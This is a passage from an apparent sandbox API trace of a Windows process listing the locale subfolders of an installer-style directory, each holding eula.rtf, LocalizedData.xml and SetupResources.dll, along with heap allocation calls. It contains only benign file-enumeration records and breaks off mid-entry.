[0101.088] FindNextFileW (in: hFindFile=0x4290480, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0101.089] FindClose (in: hFindFile=0x4290480 | out: hFindFile=0x4290480) returned 1 [0101.089] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a1060 | out: hHeap=0x5c0000) returned 1 [0101.089] FindNextFileW (in: hFindFile=0x42903c0, lpFindFileData=0x32bfa7c | out: lpFindFileData=0x32bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1031", cAlternateFileName="")) returned 1 [0101.089] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x42a1060 [0101.089] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\*", lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42907c0 [0101.090] FindNextFileW (in: hFindFile=0x42907c0, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.090] FindNextFileW (in: hFindFile=0x42907c0, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xd5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0101.090] FindNextFileW (in: hFindFile=0x42907c0, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x141aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0101.090] FindNextFileW (in: hFindFile=0x42907c0, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0101.091] FindNextFileW (in: hFindFile=0x42907c0, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0101.091] FindClose (in: hFindFile=0x42907c0 | out: hFindFile=0x42907c0) returned 1 [0101.091] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a1060 | out: hHeap=0x5c0000) returned 1 [0101.091] FindNextFileW (in: hFindFile=0x42903c0, lpFindFileData=0x32bfa7c | out: lpFindFileData=0x32bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1032", cAlternateFileName="")) returned 1 [0101.091] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x42a1060 [0101.091] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\*", lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4290480 [0101.093] FindNextFileW (in: hFindFile=0x4290480, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.093] FindNextFileW (in: hFindFile=0x4290480, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x22ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0101.093] FindNextFileW (in: hFindFile=0x4290480, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1510c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0101.093] FindNextFileW (in: hFindFile=0x4290480, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0101.093] FindNextFileW (in: hFindFile=0x4290480, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0101.094] FindClose (in: hFindFile=0x4290480 | out: hFindFile=0x4290480) returned 1 [0101.094] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a1060 | out: hHeap=0x5c0000) returned 1 [0101.094] FindNextFileW (in: hFindFile=0x42903c0, lpFindFileData=0x32bfa7c | out: lpFindFileData=0x32bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1033", cAlternateFileName="")) returned 1 [0101.094] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x42a1060 [0101.094] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\*", lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4290340 [0101.095] FindNextFileW (in: hFindFile=0x4290340, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.095] FindNextFileW (in: hFindFile=0x4290340, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd723cc00, ftCreationTime.dwHighDateTime=0x1cabb47, ftLastAccessTime.dwLowDateTime=0xd723cc00, ftLastAccessTime.dwHighDateTime=0x1cabb47, ftLastWriteTime.dwLowDateTime=0xd723cc00, ftLastWriteTime.dwHighDateTime=0x1cabb47, nFileSizeHigh=0x0, nFileSizeLow=0xc74, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0101.095] FindNextFileW (in: hFindFile=0x4290340, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x47ad1a00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x47ad1a00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x47ad1a00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12db0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0101.095] FindNextFileW (in: hFindFile=0x4290340, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0101.096] FindNextFileW (in: hFindFile=0x4290340, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0101.096] FindClose (in: hFindFile=0x4290340 | out: hFindFile=0x4290340) returned 1 [0101.096] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a1060 | out: hHeap=0x5c0000) returned 1 [0101.096] FindNextFileW (in: hFindFile=0x42903c0, lpFindFileData=0x32bfa7c | out: lpFindFileData=0x32bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1035", cAlternateFileName="")) returned 1 [0101.096] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x42a1060 [0101.097] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\*", lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42902c0 [0101.097] FindNextFileW (in: hFindFile=0x42902c0, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.098] FindNextFileW (in: hFindFile=0x42902c0, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe76, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0101.098] FindNextFileW (in: hFindFile=0x42902c0, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12cde, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0101.098] FindNextFileW (in: hFindFile=0x42902c0, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0101.098] FindNextFileW (in: hFindFile=0x42902c0, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0101.099] FindClose (in: hFindFile=0x42902c0 | out: hFindFile=0x42902c0) returned 1 [0101.099] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a1060 | out: hHeap=0x5c0000) returned 1 [0101.099] FindNextFileW (in: hFindFile=0x42903c0, lpFindFileData=0x32bfa7c | out: lpFindFileData=0x32bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1036", cAlternateFileName="")) returned 1 [0101.099] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x42a1060 [0101.099] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\*", lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4290200 [0101.100] FindNextFileW (in: hFindFile=0x4290200, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.100] FindNextFileW (in: hFindFile=0x4290200, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xdc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0101.100] FindNextFileW (in: hFindFile=0x4290200, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x14412, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0101.100] FindNextFileW (in: hFindFile=0x4290200, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0101.100] FindNextFileW (in: hFindFile=0x4290200, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0101.103] FindClose (in: hFindFile=0x4290200 | out: hFindFile=0x4290200) returned 1 [0101.103] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a1060 | out: hHeap=0x5c0000) returned 1 [0101.103] FindNextFileW (in: hFindFile=0x42903c0, lpFindFileData=0x32bfa7c | out: lpFindFileData=0x32bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1037", cAlternateFileName="")) returned 1 [0101.103] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x42a1060 [0101.103] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\*", lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4290380 [0101.103] FindNextFileW (in: hFindFile=0x4290380, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.103] FindNextFileW (in: hFindFile=0x4290380, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x1ac3, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0101.103] FindNextFileW (in: hFindFile=0x4290380, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1198c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0101.103] FindNextFileW (in: hFindFile=0x4290380, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4158, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0101.104] FindNextFileW (in: hFindFile=0x4290380, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4158, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0101.104] FindClose (in: hFindFile=0x4290380 | out: hFindFile=0x4290380) returned 1 [0101.104] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a1060 | out: hHeap=0x5c0000) returned 1 [0101.104] FindNextFileW (in: hFindFile=0x42903c0, lpFindFileData=0x32bfa7c | out: 